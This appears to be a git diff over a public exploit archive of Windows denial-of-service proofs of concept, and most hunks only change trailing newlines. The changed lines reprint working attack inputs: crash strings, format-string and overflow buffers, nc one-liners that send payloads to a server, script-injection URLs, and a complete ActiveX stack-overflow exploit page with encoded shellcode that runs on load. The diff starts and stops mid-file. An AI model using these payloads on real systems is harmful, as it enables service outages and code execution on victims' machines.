Array(a)).sort(); } </SCRIPT> -</HTML> \ No newline at end of file +</HTML> \ No newline at end of file diff --git a/platforms/windows/dos/25061.txt b/platforms/windows/dos/25061.txt index 9f676d7d2..c37c29d3d 100755 --- a/platforms/windows/dos/25061.txt +++ b/platforms/windows/dos/25061.txt @@ -6,4 +6,4 @@ This issue will facilitate remote exploitation as an attacker may distribute mal #EXTM3U #EXTINF:5,DJ Mike Llama - Llama Whippin' Intro -cda://AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHnT _IJJJ‹å3ÿWƒìÆEøcÆEùmÆEúdÆEû.ÆEüeÆEýxÆEþe¸D€¿wP]øSÿÐ \ No newline at end of file +cda://AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHnT _IJJJ‹å3ÿWƒìÆEøcÆEùmÆEúdÆEû.ÆEüeÆEýxÆEþe¸D€¿wP]øSÿÐ \ No newline at end of file diff --git a/platforms/windows/dos/25083.txt b/platforms/windows/dos/25083.txt index fffe0f16b..b2efbe53b 100755 --- a/platforms/windows/dos/25083.txt +++ b/platforms/windows/dos/25083.txt @@ -5,4 +5,4 @@ RaidenHTTPD is reported prone to a remote file disclosure vulnerability. It is r A remote attacker may exploit this issue to disclose the contents of web server readable files. GET windows/system.ini HTTP/1.1 -Host: localhost \ No newline at end of file +Host: localhost \ No newline at end of file diff --git a/platforms/windows/dos/25085.txt b/platforms/windows/dos/25085.txt index bde0c918a..ce248303d 100755 --- a/platforms/windows/dos/25085.txt +++ b/platforms/windows/dos/25085.txt @@ -14,4 +14,4 @@ for(c=1;c<5000;c++) mylongstring = mylongstring + myjunk; } window.open("http://www.hhs.gov/ocr/privacysummary.rtf%0a"+mylongstring); -</script> \ No newline at end of file +</script> \ No newline at end of file diff --git a/platforms/windows/dos/25219.txt b/platforms/windows/dos/25219.txt index 1afa44af6..5879e7f76 100755 --- a/platforms/windows/dos/25219.txt +++ b/platforms/windows/dos/25219.txt @@ -4,4 +4,4 @@ A remote denial of service vulnerability affects Spinworks Application Server. T An attacker may leverage this issue to trigger a denial of service condition in the affected software. -http://www.example.com:5002/?sid=. \ No newline at end of file +http://www.example.com:5002/?sid=. \ No newline at end of file diff --git a/platforms/windows/dos/25231.txt b/platforms/windows/dos/25231.txt index e8a68a366..f28aad788 100755 --- a/platforms/windows/dos/25231.txt +++ b/platforms/windows/dos/25231.txt @@ -14,4 +14,4 @@ A hex dumped EMF file: 0000050 cc 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00 0000060 00 00 00 00 0e 00 00 00 14 00 00 00 41 00 00 00 0000070 41 42 43 44 00 00 01 ff -------------------------------------------------------- \ No newline at end of file +------------------------------------------------------- \ No newline at end of file diff --git a/platforms/windows/dos/25259.py b/platforms/windows/dos/25259.py index 2debfaa9f..0406e0839 100755 --- a/platforms/windows/dos/25259.py +++ b/platforms/windows/dos/25259.py @@ -12,4 +12,4 @@ import socket s=socket.socket(socket.AF_INET,socket.SOCK_RAW,4) s.sendto("",("x.x.x.x",0)) -Press ENTER and your win box should crash immediately. \ No newline at end of file +Press ENTER and your win box should crash immediately. \ No newline at end of file diff --git a/platforms/windows/dos/25268.txt b/platforms/windows/dos/25268.txt index 68ac86bf0..ce7b04ef3 100755 --- a/platforms/windows/dos/25268.txt +++ b/platforms/windows/dos/25268.txt @@ -8,4 +8,4 @@ It should be noted that the exploitation of this vulnerability may require the a Microsoft Windows XP Service Pack 1 is affected by this issue. -Tsshutdn 0 /SERVER:yyyzzz /DELAY:0 \ No newline at end of file +Tsshutdn 0 /SERVER:yyyzzz /DELAY:0 \ No newline at end of file diff --git a/platforms/windows/dos/25281.py b/platforms/windows/dos/25281.py index 8e7b8f33b..8269c52b1 100755 --- a/platforms/windows/dos/25281.py +++ b/platforms/windows/dos/25281.py @@ -13,4 +13,4 @@ b=a[:n]+"\xff\xc4\x02\x11\x00\xff\xff"+"\x00"*14+"\x01"*510 +a[n+2+struct.unpack("!H",a[n+2:n+4])[0]:] f=open(raw_input("enter the path to the output file:\n"),"wb") f.write(b) -f.close() \ No newline at end of file +f.close() \ No newline at end of file diff --git a/platforms/windows/dos/25633.txt b/platforms/windows/dos/25633.txt index cdd4ff438..fedb396eb 100755 --- a/platforms/windows/dos/25633.txt +++ b/platforms/windows/dos/25633.txt @@ -8,4 +8,4 @@ Reports indicate that the issue manifests because of a buffer overflow condition A remote attacker may leverage this condition to crash a target AOL Instant Messenger client. Other attacks may also be possible. -"DO NOT COPY AND PASTE OR IT WILL CRASH U" <fontsml=.>..<font sml= .></font> \ No newline at end of file +"DO NOT COPY AND PASTE OR IT WILL CRASH U" <fontsml=.>..<font sml= .></font> \ No newline at end of file diff --git a/platforms/windows/dos/25658.txt b/platforms/windows/dos/25658.txt index 5429b8769..0c967fc30 100755 --- a/platforms/windows/dos/25658.txt +++ b/platforms/windows/dos/25658.txt @@ -7,4 +7,4 @@ A remote user can cause Yahoo! Messenger to disconnect through malicious emails This issue is reported to affect Yahoo! Messenger versions 5.x to 6.0 Windows; other versions on other operating systems may also be affected. <a href="YMSGR:%63%68%61%74%3F:::%26%26%26%26">Click Here</a> -<a href="YMSGR:Chat?:::%26%26%26%26">Click Here</a> \ No newline at end of file +<a href="YMSGR:Chat?:::%26%26%26%26">Click Here</a> \ No newline at end of file diff --git a/platforms/windows/dos/25712.txt b/platforms/windows/dos/25712.txt index 6691e05ad..e4b31cb23 100755 --- a/platforms/windows/dos/25712.txt +++ b/platforms/windows/dos/25712.txt @@ -132,3 +132,4 @@ As attachment, code to reproduce the crash. //obj.SetItemReadOnly(0x61616161,false); obj.SetItemReadOnly(0x61616161,true); </script> + \ No newline at end of file diff --git a/platforms/windows/dos/25921.txt b/platforms/windows/dos/25921.txt index 8b26aa720..f9fdf4b8b 100755 --- a/platforms/windows/dos/25921.txt +++ b/platforms/windows/dos/25921.txt @@ -6,4 +6,4 @@ The problem presents itself specifically when the affected server application re An attacker may leverage this issue to cause an affected server to crash, denying service to legitimate users. -/ignore 123456789 \ No newline at end of file +/ignore 123456789 \ No newline at end of file diff --git a/platforms/windows/dos/26139.txt b/platforms/windows/dos/26139.txt index 0fdc2fd26..2ffbf1cf6 100755 --- a/platforms/windows/dos/26139.txt +++ b/platforms/windows/dos/26139.txt @@ -25,4 +25,4 @@ All versions of Gaim 1.x are considered vulnerable at the moment. %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n -%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n \ No newline at end of file +%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n \ No newline at end of file diff --git a/platforms/windows/dos/26216.txt b/platforms/windows/dos/26216.txt index 5da2b37fd..b79f6af82 100755 --- a/platforms/windows/dos/26216.txt +++ b/platforms/windows/dos/26216.txt @@ -20,4 +20,4 @@ while(obj1.GetServerStatus() != "Logged In"); //wait till login obj1.RenameGroup("Friends", buf, 5); -[/script] \ No newline at end of file +[/script] \ No newline at end of file diff --git a/platforms/windows/dos/26301.txt b/platforms/windows/dos/26301.txt index 2f7799833..e49256b49 100755 --- a/platforms/windows/dos/26301.txt +++ b/platforms/windows/dos/26301.txt @@ -7,4 +7,4 @@ The attacker may leverage this issue to corrupt process memory, which may lead t GroupWise 6.5.3 is reported to be vulnerable. It is possible that other versions are affected as well. The following value is sufficient to trigger this issue: -11111111111111111111111111111111 \ No newline at end of file +11111111111111111111111111111111 \ No newline at end of file diff --git a/platforms/windows/dos/26341.txt b/platforms/windows/dos/26341.txt index 767980766..1db8980d7 100755 --- a/platforms/windows/dos/26341.txt +++ b/platforms/windows/dos/26341.txt @@ -11,4 +11,4 @@ Update: Microsoft reports several systems have experienced one or more problems IDENTIFY 3 3 DST_IP:DST_PORT/ANYID - PUSH SOMESTRING PREPARE -RECONNECT \ No newline at end of file +RECONNECT \ No newline at end of file diff --git a/platforms/windows/dos/26450.pl b/platforms/windows/dos/26450.pl index 5a275d1ee..50cb49641 100755 --- a/platforms/windows/dos/26450.pl +++ b/platforms/windows/dos/26450.pl @@ -34,3 +34,4 @@ $SOCKET = IO::Socket::INET->new(Proto=>'TCP', $SOCKET->send($PAYLOAD); close($SOCKET); + \ No newline at end of file diff --git a/platforms/windows/dos/26575.txt b/platforms/windows/dos/26575.txt index 9946fb678..eab5a7302 100755 --- a/platforms/windows/dos/26575.txt +++ b/platforms/windows/dos/26575.txt @@ -10,4 +10,4 @@ telnet localhost 143 a1 login josh byebye a2 rename foo bar -where josh and byebye are the login credentials for an existing mailbox. \ No newline at end of file +where josh and byebye are the login credentials for an existing mailbox. \ No newline at end of file diff --git a/platforms/windows/dos/26779.txt b/platforms/windows/dos/26779.txt index 1dc88b2de..6c400e9ae 100755 --- a/platforms/windows/dos/26779.txt +++ b/platforms/windows/dos/26779.txt @@ -4,4 +4,4 @@ MDaemon WorldClient is prone to a denial of service vulnerability. This issue is An attacker can exploit this vulnerability to prevent a user from accessing their mail remotely through the WorldClient client application. -<script></script> \ No newline at end of file +<script></script> \ No newline at end of file diff --git a/platforms/windows/dos/26985.txt b/platforms/windows/dos/26985.txt index e525ef267..aec1b9b63 100755 --- a/platforms/windows/dos/26985.txt +++ b/platforms/windows/dos/26985.txt @@ -20,4 +20,4 @@ Crash 2: > <acronym><dd><h5><applet></caption></applet><li></h1> Crash 3: -> <table datasrc="."> \ No newline at end of file +> <table datasrc="."> \ No newline at end of file diff --git a/platforms/windows/dos/27082.txt b/platforms/windows/dos/27082.txt index f61fcab7c..b0dc63657 100755 --- a/platforms/windows/dos/27082.txt +++ b/platforms/windows/dos/27082.txt @@ -7,4 +7,4 @@ This issue presents itself when the browser handles a specially crafted IMG elem An attacker may exploit this issue by enticing a user to visit a malicious site resulting in a denial of service condition in the application. A proof of concept is available: -<table><tr><td><IMG align=left>X X X<?xml:namespace prefix=v ><v:X style="HEIGHT:1"></td></tr></table> \ No newline at end of file +<table><tr><td><IMG align=left>X X X<?xml:namespace prefix=v ><v:X style="HEIGHT:1"></td></tr></table> \ No newline at end of file diff --git a/platforms/windows/dos/27090.c b/platforms/windows/dos/27090.c index 4e1bc2797..178026a75 100755 --- a/platforms/windows/dos/27090.c +++ b/platforms/windows/dos/27090.c @@ -100,3 +100,4 @@ int main(int argc, char **argv) WSACleanup(); return 1; } + \ No newline at end of file diff --git a/platforms/windows/dos/27101.txt b/platforms/windows/dos/27101.txt index ac4535fa5..e81d06357 100755 --- a/platforms/windows/dos/27101.txt +++ b/platforms/windows/dos/27101.txt @@ -6,4 +6,4 @@ Attackers may trigger a denial of service due to a hang. Note that an attacker m Proof of concept: -hping -2 -s 1025 -p 5727 -d 4097 -a 1.1.1.1 \ No newline at end of file +hping -2 -s 1025 -p 5727 -d 4097 -a 1.1.1.1 \ No newline at end of file diff --git a/platforms/windows/dos/28387.html b/platforms/windows/dos/28387.html index 13169dd49..7e5788b84 100755 --- a/platforms/windows/dos/28387.html +++ b/platforms/windows/dos/28387.html @@ -21,4 +21,4 @@ An attacker may exploit this issue to crash Internet Explorer, effectively denyi --!> <html> <body> <object classid="CLSID:{6E3197A3-BBC3-11D4-84C0-00C04F7A06E5}" /object> - </body> </html> \ No newline at end of file + </body> </html> \ No newline at end of file diff --git a/platforms/windows/dos/29447.txt b/platforms/windows/dos/29447.txt index da1bda79e..7cf7d1f5a 100755 --- a/platforms/windows/dos/29447.txt +++ b/platforms/windows/dos/29447.txt @@ -6,4 +6,4 @@ An attacker may exploit this issue to cause denial-of-service conditions and pos This issue affects versions prior to 9.0 SR1. -Winzip32.exe "A" x 5002 \ No newline at end of file +Winzip32.exe "A" x 5002 \ No newline at end of file diff --git a/platforms/windows/dos/2952.py b/platforms/windows/dos/2952.py index e9523058d..fb0c44385 100755 --- a/platforms/windows/dos/2952.py +++ b/platforms/windows/dos/2952.py @@ -5,7 +5,7 @@ import time print "-----------------------------------------------------------------------" print "# WinFtp Server Version 2.0.2 Denial of Service" -print "# url: http://www.wftpserver/" +print "# url: http://www.wftpserver.com/" print "# author: shinnai" print "# mail: shinnai[at]autistici[dot[org]" print "# site: http://shinnai.altervista.org" diff --git a/platforms/windows/dos/29531.txt b/platforms/windows/dos/29531.txt index 13a4915ca..8ac233390 100755 --- a/platforms/windows/dos/29531.txt +++ b/platforms/windows/dos/29531.txt @@ -9,4 +9,4 @@ Versions prior to 2.1.0.29 are vulnerable to this issue. 1. Firstname: example example example example ? ( as long as victim cant see the lastname) 2. Lastname: <img src="javascript:alert('Executed from ' + top.location)" > 3. Request to add victim ID to your contact list. -4. Once victim accepts your request, send him a message and change your online status (Available -> Invisible) \ No newline at end of file +4. Once victim accepts your request, send him a message and change your online status (Available -> Invisible) \ No newline at end of file diff --git a/platforms/windows/dos/29607.html b/platforms/windows/dos/29607.html index a5bbbdf82..1e1c9d523 100755 --- a/platforms/windows/dos/29607.html +++ b/platforms/windows/dos/29607.html @@ -7,4 +7,4 @@ An attacker can leverage this issue to execute arbitrary code in the context of Versions prior to EasyMail Objects 6.5 are vulnerable. Spam Inspector 4.0.354 is vulnerable. -<html> <head> <title>Quiksoft EasyMail 6.0.3.0 imap connect() stack overflow</title> <script language="JavaScript" defer> function Check() { var buf = 'A'; while (buf.length <= 440) buf = buf + 'A'; // win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49" + "%48%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%43" + "%58%30%42%31%50%42%41%6b%42%41%53%42%32%42%41%32" + "%41%41%30%41%41%58%50%38%42%42%75%48%69%6b%4c%4d" + "%38%63%74%75%50%33%30%67%70%4c%4b%73%75%57%4c%6e" + "%6b%63%4c%45%55%63%48%33%31%58%6f%6c%4b%70%4f%77" + "%68%6e%6b%73%6f%71%30%65%51%6a%4b%72%69%4e%6b%36" + "%54%4e%6b%45%51%4a%4e%46%51%6b%70%4f%69%4c%6c%6e" + "%64%59%50%73%44%53%37%58%41%7a%6a%54%4d%33%31%78" + "%42%48%6b%7a%54%77%4b%52%74%66%44%34%44%62%55%59" + "%75%6e%6b%41%4f%36%44%45%51%6a%4b%53%56%4c%4b%46" + "%6c%72%6b%4c%4b%53%6f%37%6c%63%31%6a%4b%4e%6b%75" + "%4c%6c%4b%54%41%48%6b%4d%59%51%4c%51%34%34%44%4a" + "%63%30%31%6f%30%62%44%4e%6b%71%50%54%70%4b%35%6b" + "%70%50%78%46%6c%6c%4b%63%70%44%4c%4c%4b%44%30%35" + "%4c%6e%4d%6c%4b%61%78%55%58%6a%4b%64%49%4e%6b%6b" + "%30%6c%70%57%70%57%70%47%70%4c%4b%70%68%47%4c%71" + "%4f%44%71%6b%46%33%50%66%36%4f%79%4c%38%6e%63%4f" + "%30%71%6b%30%50%41%78%58%70%6c%4a%53%34%51%4f%33" + "%58%4e%78%39%6e%6d%5a%46%6e%61%47%4b%4f%69%77%63" + "%53%45%6a%33%6c%72%57%30%69%50%6e%62%44%70%6f%73" + "%47%41%63%41%4c%50%73%42%59%31%63%50%74%65%35%70" + "%6d%54%73%65%62%33%6c%30%63%41%71%70%6c%53%53%66" + "%4e%31%75%74%38%70%65%77%70%43"); var eip = unescape("%0F%DD%17%7D"); // Windows XP SP2 English var nop = unescape("%90%90%90%90%90%90%90%90%90%90%90%90"); var m = buf + eip + nop + shellcode1 + nop; obj.connect(m); } </script> </head> <body onload="JavaScript: return Check();"> <object id="obj" classid="clsid:0CEA3FB1-7F88-4803-AA8E-AD021566955D"> Failed to instantiate object. </object> </body> </html> \ No newline at end of file +<html> <head> <title>Quiksoft EasyMail 6.0.3.0 imap connect() stack overflow</title> <script language="JavaScript" defer> function Check() { var buf = 'A'; while (buf.length <= 440) buf = buf + 'A'; // win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49" + "%48%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%43" + "%58%30%42%31%50%42%41%6b%42%41%53%42%32%42%41%32" + "%41%41%30%41%41%58%50%38%42%42%75%48%69%6b%4c%4d" + "%38%63%74%75%50%33%30%67%70%4c%4b%73%75%57%4c%6e" + "%6b%63%4c%45%55%63%48%33%31%58%6f%6c%4b%70%4f%77" + "%68%6e%6b%73%6f%71%30%65%51%6a%4b%72%69%4e%6b%36" + "%54%4e%6b%45%51%4a%4e%46%51%6b%70%4f%69%4c%6c%6e" + "%64%59%50%73%44%53%37%58%41%7a%6a%54%4d%33%31%78" + "%42%48%6b%7a%54%77%4b%52%74%66%44%34%44%62%55%59" + "%75%6e%6b%41%4f%36%44%45%51%6a%4b%53%56%4c%4b%46" + "%6c%72%6b%4c%4b%53%6f%37%6c%63%31%6a%4b%4e%6b%75" + "%4c%6c%4b%54%41%48%6b%4d%59%51%4c%51%34%34%44%4a" + "%63%30%31%6f%30%62%44%4e%6b%71%50%54%70%4b%35%6b" + "%70%50%78%46%6c%6c%4b%63%70%44%4c%4c%4b%44%30%35" + "%4c%6e%4d%6c%4b%61%78%55%58%6a%4b%64%49%4e%6b%6b" + "%30%6c%70%57%70%57%70%47%70%4c%4b%70%68%47%4c%71" + "%4f%44%71%6b%46%33%50%66%36%4f%79%4c%38%6e%63%4f" + "%30%71%6b%30%50%41%78%58%70%6c%4a%53%34%51%4f%33" + "%58%4e%78%39%6e%6d%5a%46%6e%61%47%4b%4f%69%77%63" + "%53%45%6a%33%6c%72%57%30%69%50%6e%62%44%70%6f%73" + "%47%41%63%41%4c%50%73%42%59%31%63%50%74%65%35%70" + "%6d%54%73%65%62%33%6c%30%63%41%71%70%6c%53%53%66" + "%4e%31%75%74%38%70%65%77%70%43"); var eip = unescape("%0F%DD%17%7D"); // Windows XP SP2 English var nop = unescape("%90%90%90%90%90%90%90%90%90%90%90%90"); var m = buf + eip + nop + shellcode1 + nop; obj.connect(m); } </script> </head> <body onload="JavaScript: return Check();"> <object id="obj" classid="clsid:0CEA3FB1-7F88-4803-AA8E-AD021566955D"> Failed to instantiate object. </object> </body> </html> \ No newline at end of file diff --git a/platforms/windows/dos/29618.c b/platforms/windows/dos/29618.c index e49b0bfda..f5a6f815b 100755 --- a/platforms/windows/dos/29618.c +++ b/platforms/windows/dos/29618.c @@ -148,3 +148,4 @@ return 0; } + \ No newline at end of file diff --git a/platforms/windows/dos/29659.pl b/platforms/windows/dos/29659.pl index b190288e0..f31d38d72 100755 --- a/platforms/windows/dos/29659.pl +++ b/platforms/windows/dos/29659.pl @@ -19,4 +19,4 @@ print WMF "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; print WMF "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x00\x03\x00"; print WMF "\x00\x00\x00\x00"; close(WMF); -print "Ok\n"; \ No newline at end of file +print "Ok\n"; \ No newline at end of file diff --git a/platforms/windows/dos/29740.txt b/platforms/windows/dos/29740.txt index 98de0120d..6e8158ea0 100755 --- a/platforms/windows/dos/29740.txt +++ b/platforms/windows/dos/29740.txt @@ -4,4 +4,4 @@ The 'minigzip' tool is prone to a buffer-overflow vulnerability because it fails A local attacker can exploit this issue to execute arbitrary code with the privileges of the user running the affected application. Failed exploit attempts will result in a denial of service. -minigzip `perl -e 'print 'A'x1050' \ No newline at end of file +minigzip `perl -e 'print 'A'x1050' \ No newline at end of file diff --git a/platforms/windows/dos/29850.txt b/platforms/windows/dos/29850.txt index 9c1b73c0f..7afd8389f 100755 --- a/platforms/windows/dos/29850.txt +++ b/platforms/windows/dos/29850.txt @@ -11,4 +11,4 @@ Enterprise Security Analyzer 2.5 is reported vulnerable; other versions may also - HMGR_CHECKHOSTSCSV: [ HMGR_CHECKHOSTSCSV&A x 80000...&] - TASKUPDATEDUSER: [TASKUPDATEDUSER&A x 60000...&test&test&] - VERIFYUSERKEY: [VERIFYUSERKEY&A x 13000...&Administrator&127.0.0.1&12345] -- VERIFYPWD: [VERIFYPWD&A x 6000...&admin&adminpass&] \ No newline at end of file +- VERIFYPWD: [VERIFYPWD&A x 6000...&admin&adminpass&] \ No newline at end of file diff --git a/platforms/windows/dos/29937.txt b/platforms/windows/dos/29937.txt index f30672ab0..e2f2889c4 100755 --- a/platforms/windows/dos/29937.txt +++ b/platforms/windows/dos/29937.txt @@ -6,4 +6,4 @@ An attacker may exploit this issue to execute arbitrary code within the context This issue affects Aventail Connect 4.1.2.13; other versions may also be affected. -ssh $(perl -e 'print 'a'x2200') \ No newline at end of file +ssh $(perl -e 'print 'a'x2200') \ No newline at end of file diff --git a/platforms/windows/dos/30023.txt b/platforms/windows/dos/30023.txt index bc329dd77..0cd086750 100755 --- a/platforms/windows/dos/30023.txt +++ b/platforms/windows/dos/30023.txt @@ -10,4 +10,4 @@ http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/dict.r http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/_help.r http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/_dict.r http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/_comp.r -http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/_admin.r \ No newline at end of file +http://www.example.com/scripts/cgiip.exe/WService=wsbroker1/_admin.r \ No newline at end of file diff --git a/platforms/windows/dos/30188.txt b/platforms/windows/dos/30188.txt index 38f56b6e4..658c40e38 100755 --- a/platforms/windows/dos/30188.txt +++ b/platforms/windows/dos/30188.txt @@ -6,4 +6,4 @@ Attackers can exploit this issue to cause denial-of-service conditions on a user Apple Safari for Windows 3 Beta is vulnerable; other versions may also be affected. -'feed://%' \ No newline at end of file +'feed://%' \ No newline at end of file diff --git a/platforms/windows/dos/30193.html b/platforms/windows/dos/30193.html index d291fc317..352e9a979 100755 --- a/platforms/windows/dos/30193.html +++ b/platforms/windows/dos/30193.html @@ -8,4 +8,4 @@ Successful exploits can allow attackers to crash the affected browser, resulting Safari 3.0.1 public beta for Windows is reported vulnerable. -<html><Title>Safari 3.0.1 beta for windows Crash Poc By Lostmon</title> <body> <p>Safari 3.0.1 beta for windows Crash Poc By Lostmon (Lostmon@Gmail.com )</p> <p> Put some number in the second form for crash Safari</p> <form id="historyForm1" method="GET" action="#"> <input type="text" id="currentIndex1" name="currentIndex" value="sss"> <textarea id="historyLocation1" name="historyLocation">&lt;/textarea&gt; <form id="historyForm2" method="GET" action="#"> <input type="text" id="currentIndex2" name="currentIndex"> <textarea id="historyLocation2" name="historyLocation">&lt;/textarea&gt; </form></form></body></html> \ No newline at end of file +<html><Title>Safari 3.0.1 beta for windows Crash Poc By Lostmon</title> <body> <p>Safari 3.0.1 beta for windows Crash Poc By Lostmon (Lostmon@Gmail.com )</p> <p> Put some number in the second form for crash Safari</p> <form id="historyForm1" method="GET" action="#"> <input type="text" id="currentIndex1" name="currentIndex" value="sss"> <textarea id="historyLocation1" name="historyLocation">&lt;/textarea&gt; <form id="historyForm2" method="GET" action="#"> <input type="text" id="currentIndex2" name="currentIndex"> <textarea id="historyLocation2" name="historyLocation">&lt;/textarea&gt; </form></form></body></html> \ No newline at end of file diff --git a/platforms/windows/dos/30194.txt b/platforms/windows/dos/30194.txt index c7cd88dcd..034afedc9 100755 --- a/platforms/windows/dos/30194.txt +++ b/platforms/windows/dos/30194.txt @@ -10,4 +10,4 @@ Safari 3.0 and 3.0.1 public beta for Windows are reported vulnerable. NOTE: At the time of writing, Symantec was unable to reproduce this vulnerability. We are investigating this issue further and will update this BID as more information emerges. -<script type='text/javascript'> document.location = ''; </script> \ No newline at end of file +<script type='text/javascript'> document.location = ''; </script> \ No newline at end of file diff --git a/platforms/windows/dos/30314.txt b/platforms/windows/dos/30314.txt index 9fc9fd100..deadf0ddb 100755 --- a/platforms/windows/dos/30314.txt +++ b/platforms/windows/dos/30314.txt @@ -11,4 +11,4 @@ Yahoo! Messenger 8.1 and prior versions are vulnerable. 2. Log in to Yahoo! Messenger 3. Go to the address book tab 4. Place your mouse pointer over the specially crafted address book entry -5. Yahoo! Messenger will immediately crash \ No newline at end of file +5. Yahoo! Messenger will immediately crash \ No newline at end of file diff --git a/platforms/windows/dos/30756.html b/platforms/windows/dos/30756.html index 7cb314bf2..0e36fb3c1 100755 --- a/platforms/windows/dos/30756.html +++ b/platforms/windows/dos/30756.html @@ -46,4 +46,4 @@ Note: Forms 2.0 ActiveX is distributed with any application that includes Visual </head> <body onLoad="JavaScript: return Check();" /> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/windows/dos/30767.html b/platforms/windows/dos/30767.html index 8c196c12f..2e328cab4 100755 --- a/platforms/windows/dos/30767.html +++ b/platforms/windows/dos/30767.html @@ -4,4 +4,4 @@ Safari for Windows is prone to a buffer overflow that occurs when an attacker en A remote attacker may exploit this issue to execute arbitrary machine code in the context of the affected application. Failed exploit attempts will result in denial-of-service conditions. -<html> <body> <script> var maxbuf = 65474; buff = "A"; for (i=0;i<maxbuf;i++) { buff = buff+"A"; } document.location.hash = buff+"BOW! "; alert(document.location.hash); </script> </body> </html> \ No newline at end of file +<html> <body> <script> var maxbuf = 65474; buff = "A"; for (i=0;i<maxbuf;i++) { buff = buff+"A"; } document.location.hash = buff+"BOW! "; alert(document.location.hash); </script> </body> </html> \ No newline at end of file diff --git a/platforms/windows/dos/30832.html b/platforms/windows/dos/30832.html index 2010c49ae..e7714684d 100755 --- a/platforms/windows/dos/30832.html +++ b/platforms/windows/dos/30832.html @@ -6,4 +6,4 @@ An attacker can exploit this issue to trigger denial-of-service conditions in In Yahoo! Toolbar 1.4.1 is vulnerable to this issue; other versions may also be affected. -<html><body> <object id=target classid=clsid:02478D38-C3F9-4EFB-9B51-7695ECA05670></object> <script language=vbscript> arg1=String(517140, "A") target.c arg1 </script> </body></html> \ No newline at end of file +<html><body> <object id=target classid=clsid:02478D38-C3F9-4EFB-9B51-7695ECA05670></object> <script language=vbscript> arg1=String(517140, "A") target.c arg1 </script> </body></html> \ No newline at end of file diff --git a/platforms/windows/dos/30840.txt b/platforms/windows/dos/30840.txt index 810872322..5f5e257d9 100755 --- a/platforms/windows/dos/30840.txt +++ b/platforms/windows/dos/30840.txt @@ -10,4 +10,4 @@ The following proof of concept was supplied: <Connection name=> AAAAAAAAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.% x.%x <HostName> BBBBBBBBBB%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.% -x.%x.%x.%x.%x.%x.%x \ No newline at end of file +x.%x.%x.%x.%x.%x.%x \ No newline at end of file diff --git a/platforms/windows/dos/31138.txt b/platforms/windows/dos/31138.txt index a91e04c62..c4e47a754 100755 --- a/platforms/windows/dos/31138.txt +++ b/platforms/windows/dos/31138.txt @@ -6,4 +6,4 @@ An attacker can exploit these issues to execute arbitrary code within the contex Network Print Server 9.4.2 build 105 and prior versions are affected. -echo LICENSE aaaaa...160...aaaaa|nc SERVER 3114 -v -v \ No newline at end of file +echo LICENSE aaaaa...160...aaaaa|nc SERVER 3114 -v -v \ No newline at end of file diff --git a/platforms/windows/dos/31139.txt b/platforms/windows/dos/31139.txt index 72b290ee8..6f502069f 100755 --- a/platforms/windows/dos/31139.txt +++ b/platforms/windows/dos/31139.txt @@ -6,4 +6,4 @@ An attacker can exploit these issues to execute arbitrary code within the contex Network Print Server 9.4.2 build 105 and prior versions are affected. -echo USEP %n%n%n%s%s%s|nc SERVER 3114 -v -v \ No newline at end of file +echo USEP %n%n%n%s%s%s|nc SERVER 3114 -v -v \ No newline at end of file diff --git a/platforms/windows/dos/31205.txt b/platforms/windows/dos/31205.txt index 7980818d5..c46b045b1 100755 --- a/platforms/windows/dos/31205.txt +++ b/platforms/windows/dos/31205.txt @@ -8,4 +8,4 @@ Versions in the Sami FTP Server 2.0 series are vulnerable; other versions may al An attacker can use standard FTP clients or network utilities to exploit these issues. -Issuing one of the affected commands followed by 'AA' will trigger a denial of service. \ No newline at end of file +Issuing one of the affected commands followed by 'AA' will trigger a denial of service. \ No newline at end of file diff --git a/platforms/windows/dos/31593.txt b/platforms/windows/dos/31593.txt index 327a16bc9..61297fae4 100755 --- a/platforms/windows/dos/31593.txt +++ b/platforms/windows/dos/31593.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary code in the context of Internet Explorer 8 is vulnerable. Internet Explorer 7 is likely vulnerable as well, but this has not been confirmed. -res://ieframe.dll/acr_error.htm#<h1>foo</h1>,<h1>foo</h1> res://ieframe.dll/acr_error.htm#<iframe/src=''/onload='javascript:document.write("<iframe/src=\"file://localhost/test.txt\"></iframe>")'></iframe>,foo res://ieframe.dll/acr_error.htm#<iframe/src=''/onload='javascript:document.write("<script/src=http://www.example.com/></script>")'></iframe>,foo res://ieframe.dll/acr_error.htm#<iframe/src=''/onload='javascript:document.location="file://..\\ServerName\\pipe\\PipeName"'></iframe>,foo \ No newline at end of file +res://ieframe.dll/acr_error.htm#<h1>foo</h1>,<h1>foo</h1> res://ieframe.dll/acr_error.htm#<iframe/src=''/onload='javascript:document.write("<iframe/src=\"file://localhost/test.txt\"></iframe>")'></iframe>,foo res://ieframe.dll/acr_error.htm#<iframe/src=''/onload='javascript:document.write("<script/src=http://www.example.com/></script>")'></iframe>,foo res://ieframe.dll/acr_error.htm#<iframe/src=''/onload='javascript:document.location="file://..\\ServerName\\pipe\\PipeName"'></iframe>,foo \ No newline at end of file diff --git a/platforms/windows/dos/31656.txt b/platforms/windows/dos/31656.txt index 